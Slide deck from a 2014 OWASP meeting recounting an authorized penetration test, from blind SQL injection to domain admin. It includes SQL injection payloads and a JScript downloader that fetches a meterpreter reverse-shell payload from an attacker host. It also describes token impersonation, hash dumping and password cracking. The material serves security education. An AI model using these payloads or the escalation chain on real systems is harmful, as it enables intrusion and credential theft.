A Day in the Life of a Pentester:
External Blind SQL Injection → Domain Admin

OWASP March/2014 Meeting
By Jake Reynolds @ Depth Security
Props to Nate Kettlewell @ Depth Security
Who We Are

Local, boutique, information security consulting firm founded in 2006:

• Services: External/Internal Vuln/Pen, Web/Mobile App, AD Assessment, Security Architecture, NAC Experts
  
• Solutions: Select products that we know work

• No Push-Button Scanning: Quality > Quantity

• Proof: Prove solution necessity / efficacy via assessment

• Senior Level Talent Only: Always highly accessible

www.depthsecurity.com
(888) 845 6042
Apples and Oranges?

Network Pen vs Network Vuln vs Web App Vuln

• Network Pen: Focus on exploitation, escalation, and proof of concept
  • Network Vulnerability Assessment: Focus on complete network coverage and vulnerability identification
• Web Application Security Assessment: Focus on a given application, usually scoped as unauthenticated (public) or authenticated (one or more user accounts/roles, covers public too)
Network Vulnerability Assessments

• We rarely do network vulnerability assessments with no pen.
• If it’s exploitable, we want to prove it. (unless client requests not to)
• Our Customers Agree: We prove what they’ve been warning about.
• Empirical Evidence: Screenshots of a VIP’s email inbox make a bigger impact with management than “Trust Us, You’re Totally Vulnerable.”
• Anecdotal: Management seem more concerned with their own data (email/files) than their customers’.
Apples and Oranges? (Cont)

Network Penetration Assessments

• No excuse not to touch web applications, just because you aren’t obligated to in scope
  • Exposed external, server-side, non-web-app, RCE vulns getting fewer & fewer
    • If you do ignore web apps, you’ll miss low-hanging fruit.
• Anecdotal: Bigger the network = more web apps = easier exploitation (regardless of security budget $$)
• $MoralOfStory = Be VERY wary of any pen test with no web app vulnerability findings.
Remotely Owning Networks via Web Apps

Some Examples of Why You Don’t Overlook Web Apps

• ColdFusion: Directory Traversal / Authentication Bypass = RCE
  • Tomcat Manager: Unprotected / Default Creds = RCE
• JBOSS: Verb Tampering Authentication Bypass / Default Creds = RCE
• Custom Web Application Vulns: LFI / RFI / XXE / SQLi / Insecure File Upload / Default Creds = RCE
  • Let’s talk about a real-world SQLi today shall we?
SQLi – The Vulnerability

Inject T-SQL Syntax Directly Into Intended Query

- Old web app development methods and platforms relied on string concatenation of user input along with pre-written SQL queries.
- Overwrite/extend original query to do something that was not intended

  **PROFOUND IMPLICATIONS!:** Remote Attacker → Internet → Firewall → Web Server → Firewall → App Server → Firewall → DB
SQLi – The Vulnerability (Cont)

Been Around For Awhile

• OWASP Top 10 2007: A2 – Injection Flaws
• OWASP Top 10 2010: A1 – Injection
• OWASP Top 10 2013: A1 – Injection
• OWASP Top 10 2015: A? – Guess the Pattern!
SQLi – The Vulnerability (Cont)

Can Get Pretty Bad – High Profile Breaches

• Carrefour 2007: 2 Million Credit Cards
• Heartland Payment Systems 2007: 138 Million Credit Cards
• Commidea 2008: 30 Million Credit Cards
• Dow Jones 2009: 10,000 Accounts Compromised
• Euronet 2010: 2 Million Credit Cards
• FBI/Nasa 2012: 1.6 Million Accounts Compromised
• Dominos Pizza 2012: 37,000 Accounts Compromised
• Yahoo 2012: 450,000 Accounts Compromised
• LivingSocial 2013: 50 Million Customer Accounts at Risk
SQLi – Exploitation

Classic Examples – Auth Bypass

• "SELECT * FROM users WHERE name ='' + userName + '"';"
  • Attacker Enters: ' or '1'=1' --
  • SELECT * FROM users WHERE name = '' OR '1'=1' -- ';
  • Attacker is authenticated, bypassing the requirement of a valid username/password
SQLi – Exploitation

Classic Examples – Speeding Ticket Bypass
SQLi – Exploitation (Cont)

Classic Examples – Drop Table (DoS)

- "SELECT * FROM users WHERE name ="" + userName + "";
  - Attacker Enters: a';DROP TABLE users;--
- SELECT * FROM users WHERE name = 'a';DROP TABLE users;--
  - Attacker drops the “users” table
- Pretty weak, but could be painful if pain is what you’re after…. and sometimes it is.
SQLi – Exploitation (Cont)

Classic Examples – Drop Speeding Tickets
SQLi – Exploitation (Cont)

SQLi Types – Error-Based

- Verbose Errors Are Enabled: Consider yourself lucky!
- One Value Per Request: Makes data retrieval fast
- Context about Syntax: Errors give clues about what’s wrong/right with your injection syntax
- Rarer and Rarer: We still see it but this is some old, Y2K type stuff!
SQLi – Exploitation (Cont)

SQLi Types – Error-Based (Cont)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '.
/target/target.asp, line 113

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' to a column of data type int.
/target/target.asp, line 113
• Add a UNION clause with a type mismatch to enumerate DB schema and eventually grab rows of data: http://vulnerableapp.com/getProduct.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Employees' to a column of data type int.

/getProduct.asp, line 5
SQLi – Exploitation (Cont)

SQLi Types – Error-Based (Cont)

- http://vulnerableapp.com/getProduct.asp?id=10 UNION SELECT TOP 2 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Employee_Direct_Deposit' to a column of data type int. /getProduct.asp, line 5
SQLi – Exploitation (Cont)

SQLi Types – Blind, Boolean-Based

• Ask the database true and false questions
• One character at a time data retrieval
• Evaluate the application response CONTENT for the answer
  • False = 500 Internal Server Error, Empty Page, etc
• True = Expected application response, productId=1 returns that expected product
SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based

- Ask the database true and false questions
- One character at a time data retrieval
- Evaluate the application response **TIMING** for answer
  - False = Typical response time
  - True = Delayed response time
SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based

• MSSQL: `waitfor delay '00:00:15';` (Pause 15 Seconds)
• MSSQL: `xp_cmdshell 'ping –n 10 127.0.0.1'` (Pause 10 Seconds)
• MySQL: `SELECT BENCHMARK(10000000, ENCODE('abc','123'))`;
  (Pause ~7 Seconds)
• Oracle: `BEGIN DBMS_LOCK.SLEEP(5); END;` (Pause 10 Seconds)
SQLi – Exploitation (Cont)

SQLi Types – Blind, Timing-Based (Cont)

- Id=1; IF (ASCII(lower(substring((USER),1,1)))) > \[96\] WAITFOR DELAY '00:00:10'
- Id=1; IF (ASCII(lower(substring((USER),1,1)))) > \[100\] WAITFOR DELAY '00:00:10'
- Id=1; IF (ASCII(lower(substring((USER),1,1)))) > \[98\] WAITFOR DELAY '00:00:10'
- Id=1; IF (ASCII(lower(substring((USER),1,1)))) = \[97\] WAITFOR DELAY '00:00:10'
  - First letter of current DB user is: ASCII decimal 97 = “a”
  - No FUN!
SQLi – Exploitation (Cont)

Data Retrieval

• Error-Based: Can dump schema and database contents pretty quickly
• Blind: Much slower but can still target data and retrieve sensitive tables
• Blind, Timing-Based: Really slow, data retrieval. Good enough for PoC but not massive dumps

• But: Don’t need to retrieve data to execute code!!
SQLi – Exploitation (Cont)

Why Stop at the Database/Data? – OS Commands

- MSSQL: `xp_cmdshell`, `xp_reg*`, `xp_servicecontrol`, etc
- MSSQL: BoF (MS09-004) in `sp_replwritetovarbin`
- MySQL: User-defined functions
- PostgreSQL: User-defined functions
- Oracle: User-defined functions, `DBMS_JAVA.RUNJAVA()`, `DBMS_JAVA_TEST.FUNCALL()`, `DBMS_SCHEDULER.CREATE_JOB`, etc
Tool: sqlmap

Our Favorite SQLi Exploitation Tool

• Written By: Bernardo Damale & Miroslav Stampar
• Supports: MySQL, Oracle, PostgreSQL, MSSQL, MSAccess, SQLite, Firebird, Sybase, SAP MaxDB, DB2
• Techniques: Error-Based, Boolean-Based Blind, Union Query-Based, Stacked Queries, Inline Queries
• Can scan or target specified params/headers
Tool: sqlmap (Cont)

My Favorite SQLi Exploitation Tool (Cont)

• Stateful: Sessions start where you left off
  • Data Retrieval: Keeps data in nice, tidy, CSV files
• OS Interaction (Depending on Vuln Circumstances): File Read/Write, OOB OS Shell, OS-PWN, OS-SMBRELAY, OS-BOF, Registry Read/Write
Custom Web App – Vulnerable to Blind, Timing-Based, SQLi

- One of those legacy apps: “It’s gonna be decommissioned.”
  - Discovered via BurpSuite, exploited via sqlmap
    - sqlmap: Data retrieval worked but was painfully slow.
      - sqlmap: “--isdba” option returned true
    - sqlmap: xp_cmdshell was disabled, but sqlmap was able to reenable it.
(why we do not run web apps with SA/DBA privs)
Attack Scenario (Cont)

Egress Busting

• First we had to ascertain an open port (for our connect-back payload)
• Since this was an older version of Windows, telnet was installed so…
• telnet a.b.c.d:21, telnet a.b.c.d:22, telnet a.b.c.d:25, telnet a.b.c.d:53, 
  telnet a.b.c.d:80, etc
• Lucked out and TCP/443/HTTPS was open to us but nothing else was
Exploitation – Failure 1

- The sqlmap “--os-pwn” feature does in-memory shellcode exec
  - It failed. Maybe Antivirus caught it?
- Wasn’t sure how to replace the Metasploit payload with our own executable in sqlmap
- Rather than debugging/fixing the “--ospwn” issue, this is what we did...
Exploitation – Failure 2

• The sqlmap "--os-shell" one-line-at-a-time CMD access worked!

• Remember, timing-based data retrieval is slow, so even retrieving the output from a 4-packet ping could potentially take hours!

• Literally working “blind” but I’ll take that over not working at all
Attack Scenario (Cont)

Exploitation – Failure 2 (Cont)

• Used the “veil” toolkit to obfuscate a windows/meterpreter/reverse_tcp executable payload

• Maybe we can cover veil in another talk but you need to be using it.

• Needed a one-line CMD-based method of getting our executable on the DB so we could execute it

• In Windows there is no “wget,” “scp,” “curl,” “tftp,” and etc.
Attack Scenario (Cont)

Exploitation – Failure 2 (Cont)

• Used "--os-shell" option to "echo" an FTP script file line-by-line
  • Fired up public FTP server to host meterpreter executable
    • Remember: TCP/21 closed so ran FTP server on 443
  • Used the "--os-shell" to call the script via "ftp -s:script_filename"
    • FAILURE!!!
• Probably something to do with FTP-aware stateful firewalls and running FTP on TCP/443
Exploitation – Success

• Still needed a one-liner way of getting our meterpreter payload

• Thanks to NateK, WSCRIPT ended up being the answer

```javascript
var WinHttpRequest = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpRequest.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpRequest.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpRequest.ResponseBody);
BinStream.SaveToFile("out.bin");
```
Attack Scenario (Cont)

Exploitation – Success (Cont)

• Echoed our pseudo-wget tool, line-by-line just like the FTP script
  • Called it like: “script /nologo w https://a.b.c.d/payload”
  • Renamed meterpreter backdoor from “out.bin” to “out.exe”
• Moment of truth: We executed it and a meterpreter session popped up on our handler.
Attack Scenario (Cont)

Escalation – The Road to Domain Admin

• Why not stop at shelling the DBMS?
Attack Scenario (Cont)

Escalation – The Road to Domain Admin

• The following attack is:
  • Typical escalation path in a Windows environment
  • Represents just a couple of hours of time in the evening
  • It’s the most fun, rewarding, but least technical part.
Attack Scenario (Cont)

Escalation – The Road to Domain Admin (Cont)

• Ran post/windows/gather/enum_domains to get a list of the DCs
• Dropped into a shell and ran “net groups ‘Domain Admins’ /DOMAIN”
• Loaded the incognito meterpreter plugin and listed the available impersonation tokens
Attack Scenario (Cont)

Escalation – The Road to Domain Admin (Cont)

• Lucked out: DA token right on the DB (why we don’t use high-priv accounts unnecessarily)
  • Impersonated the token and created our own DA account:
    • if (time>5PMCST { anybody_paying_attention = false; })
• Forwarded a local port to RDP on the DC: “portfwd –add –l 3389 –r w.x.y.z –p 3389”
Attack Scenario (Cont)

Escalation – Why not Stop at Domain Admin?

• Execs don’t know what “Domain Admin” is or the significance.
  • Logged into the DC via RDP
• Opened up C$ on the DB and simply double-clicked our proven, obfuscated, meterpreter executable
  • A session came back from the DC, with DA privs
• Ran the post/windows/gather.smart_hashdump Metasploit post-exploitation module (get permission!)
Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)

• Held our breaths as the hashes were spooled into memory
• Exhaled as 10s of thousands of enterprise, domain, accounts and password hashes streamed live across our meterpreter session from across the internet
Attack Scenario (Cont)

Escalation – SA = Shock & Awe
Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)

• Used the “auxiliary/analyze/jtr_crack_fast” Metasploit module
• Cracked thousands of passwords in just minutes (why we don’t store LM hashes!)
Attack Scenario (Cont)

Escalation – SA = Shock & Awe (Cont)
Attack Scenario (Cont)

Escalation – SA = Shock & Awe

- A bit of LinkedIn investigation lead to a who’s who of the cracked accounts (Don’t exempt your VIPs from strong password policies, no matter how much they beg you!)
- Logged into a few OWA inboxes just for screenshots (get permission!)
- Revisited the DC RDP session to add ourselves to all SQL groups
- Opened up Enterprise Manager and found TBs of more sensitive data
Questions?